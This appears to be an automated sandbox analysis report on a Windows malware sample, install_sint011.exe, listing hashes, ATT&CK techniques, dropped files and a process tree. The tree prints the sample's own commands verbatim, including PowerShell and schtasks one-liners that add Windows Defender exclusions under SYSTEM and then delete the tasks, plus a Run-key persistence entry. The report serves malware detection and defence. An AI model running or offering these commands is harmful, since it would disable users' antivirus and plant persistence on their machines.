bd5898027bf62360c875ed5aa82ee7b52e1e1c1f4fd48a0294be21024bfa16df

Analysis

max time kernel
146s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/08/2026, 15:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_sint011.exe
Size 40.5MB
Sample260812-settlaap2t
SHA256 bd5898027bf62360c875ed5aa82ee7b52e1e1c1f4fd48a0294be21024bfa16df
MD5 0cc953d9432804f736537b7987cb6c0a
SHA1 4694431eff74654cad7ef7c7a54ec69ae63b71c4
SHA512 5d4c52bb7b8b773835ad75d3ee81d7bfa0bf03a990eea509ad1fc2eaf40fddb3207ab7daecd97b6ef1a5a74c458f1357c8d81046dd1279506be7060e1cd9438d
SSDEEP 98304:du/9nmRrRF3xMz1HbbXZ53M2Q5IU9DB1HbbXZ53M2Q5IUpAerZ:MFnmRrbuh7c2QHdh7c2Q3AeN
TLSH
T10897734AB711CD49D123A239545B9F90E372EDB187B1936333B57B2D2EFA38C8DA2144
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3772	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2452	Zolly9.exe

Loads dropped DLL 1 IoCs

pid	Process
2452	Zolly9.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\2yCmeM\\Zolly9.exe\""	Zolly9.exe

Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3820	cmd.exe
1200	cmd.exe
4388	cmd.exe
3408	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	Zolly9.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4648	cmd.exe
1168	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3160	schtasks.exe
3100	schtasks.exe
4412	schtasks.exe
5544	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
4828	install_sint011.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe
2452	Zolly9.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_sint011.exe
"C:\Users\Admin\AppData\Local\Temp\install_sint011.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5052

C:\Users\Public\2yCmeM\Zolly9.exe
"C:\Users\Public\2yCmeM\Zolly9.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2yCmeM\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3820
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2yCmeM\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1200
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:476
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4388
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4412
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3408
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5544
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2840

C:\Users\Public\2yCmeM\Zolly9.exe
"C:\Users\Public\2yCmeM\Zolly9.exe"
1⤵
PID:2572

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2yCmeM" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4648

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4176

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

UxEnhance64.dll

Path C:\Users\Public\2yCmeM\UxEnhance64.dll
Size 3.1MB
SHA256 cd928a6cc67faf4a5d4c62150442d23a6f727c1b242e28ae8bca68b6618e8e82
MD5 6545c34614b5ad8d953cadd1bb1d9b09
SHA1 97329129ef0d5ac39d7d945da3766db4fefe0141
SHA512 734a8cacd77114a34f8ccb7bb78a83c83720ba91de27b06e834e995292789da45e57c7f1766e6af578b342cf4f9c0f7d620c3e5ccdf2910a005431c919496c11
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+W:P9m29xx3Tiqt06ox6+z2rNNrKoW
TLSH
T110E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Zolly9.exe

Path C:\Users\Public\2yCmeM\Zolly9.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\2yCmeM\adoresd.dat
Size 4.7MB
SHA256 58cfcf7d64598f2c5d87b46a40d38f8555a14d866eecd10ff55fd118fa9ec0f1
MD5 36071f63bf563ee616c1ae47dbd058eb
SHA1 89df90130d32fb47124e8c18d7a1fd16070fc7e7
SHA512 4487493da1da1035d9cabf721701c53448e6fbcda6a41ddaf434c9c4bdc306e4d295b6b16595c2c0847e4c3d2bcf99503ab94ca6565b94490ec3abeedaa925c3
SSDEEP 98304:zmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:au1SwOflfZPF6Ma0bsoa5+qd
TLSH
T16D3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070155DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\2yCmeM\msadox.tb
Size 8KB
SHA256 f64ccc6af8df86b8c2f55906107ebfdc8c4ccc252afe8c59d9b36ce382863697
MD5 3cab1197fcf8d7a6fa5d5d22ab23a498
SHA1 4c6de694a37859669e836c93cad17d62b8293432
SHA512 78c40b4bfd43e228cbdbae522b3932cb2f4049392dccb2d71635e0ab10cbb351a7afc6294fbb57ad6a18cf457b3dac0ffb80f3a4ad3c71b5a72d89835f78a5c7
SSDEEP 192:tqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:tsZqZOXQ3uqvR2Kfzp
TLSH
T18F029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2452-549-0x00000231EF0B0000-0x00000231EF941000-memory.dmp

Download

memory/2452-553-0x00000231EF0B0000-0x00000231EF941000-memory.dmp

Download

memory/2452-569-0x00000231EF0B0000-0x00000231EF941000-memory.dmp

Download

memory/2452-567-0x00000231EF0B0000-0x00000231EF941000-memory.dmp

Download

memory/2452-533-0x00007FFD81AD0000-0x00007FFD81AD2000-memory.dmp

Download

memory/2452-534-0x00007FFD5EE40000-0x00007FFD5F35E000-memory.dmp

Download

memory/2452-560-0x00000231EFA60000-0x00000231EFAEA000-memory.dmp

Download

memory/2452-561-0x00000231EFA60000-0x00000231EFAEA000-memory.dmp

Download

memory/2452-539-0x00000231EF0B0000-0x00000231EF941000-memory.dmp

Download

memory/2452-541-0x00007FFD81AE0000-0x00007FFD81AE2000-memory.dmp

Download

memory/2452-546-0x00000231EF0B0000-0x00000231EF941000-memory.dmp

Download

memory/2452-542-0x00000231EF0B0000-0x00000231EF941000-memory.dmp

Download

memory/2452-547-0x00000231EF0B0000-0x00000231EF941000-memory.dmp

Download

memory/2452-548-0x00000231EF0B0000-0x00000231EF941000-memory.dmp

Download

memory/2452-563-0x00000231EFA60000-0x00000231EFAEA000-memory.dmp

Download

memory/2452-562-0x00000231EFA60000-0x00000231EFAEA000-memory.dmp

Download

memory/2452-559-0x00000231EE650000-0x00000231EE69E000-memory.dmp

Download

memory/2572-587-0x0000028A7E170000-0x0000028A7EA01000-memory.dmp

Download

memory/2572-578-0x0000028A7E170000-0x0000028A7EA01000-memory.dmp

Download

memory/2572-581-0x00007FFD81AE0000-0x00007FFD81AE2000-memory.dmp

Download

memory/2572-582-0x0000028A7E170000-0x0000028A7EA01000-memory.dmp

Download

memory/2572-589-0x0000028A7E170000-0x0000028A7EA01000-memory.dmp

Download

memory/2572-588-0x0000028A7E170000-0x0000028A7EA01000-memory.dmp

Download

memory/2572-586-0x0000028A7E170000-0x0000028A7EA01000-memory.dmp

Download

memory/2572-590-0x00007FFD81AD0000-0x00007FFD81AD2000-memory.dmp

Download

memory/2572-575-0x00007FFD5EE40000-0x00007FFD5F35E000-memory.dmp

Download

memory/4828-526-0x0000000004850000-0x000000000485E000-memory.dmp

Download

memory/4828-0-0x0000000004850000-0x000000000485E000-memory.dmp

Download

memory/4828-527-0x00007FFD792D0000-0x00007FFD792E2000-memory.dmp

Download

memory/4828-504-0x00007FFD792D0000-0x00007FFD792E2000-memory.dmp

Download

memory/4828-2-0x0000000004860000-0x000000000486C000-memory.dmp

Download

memory/4828-1-0x0000000004850000-0x000000000485E000-memory.dmp

Download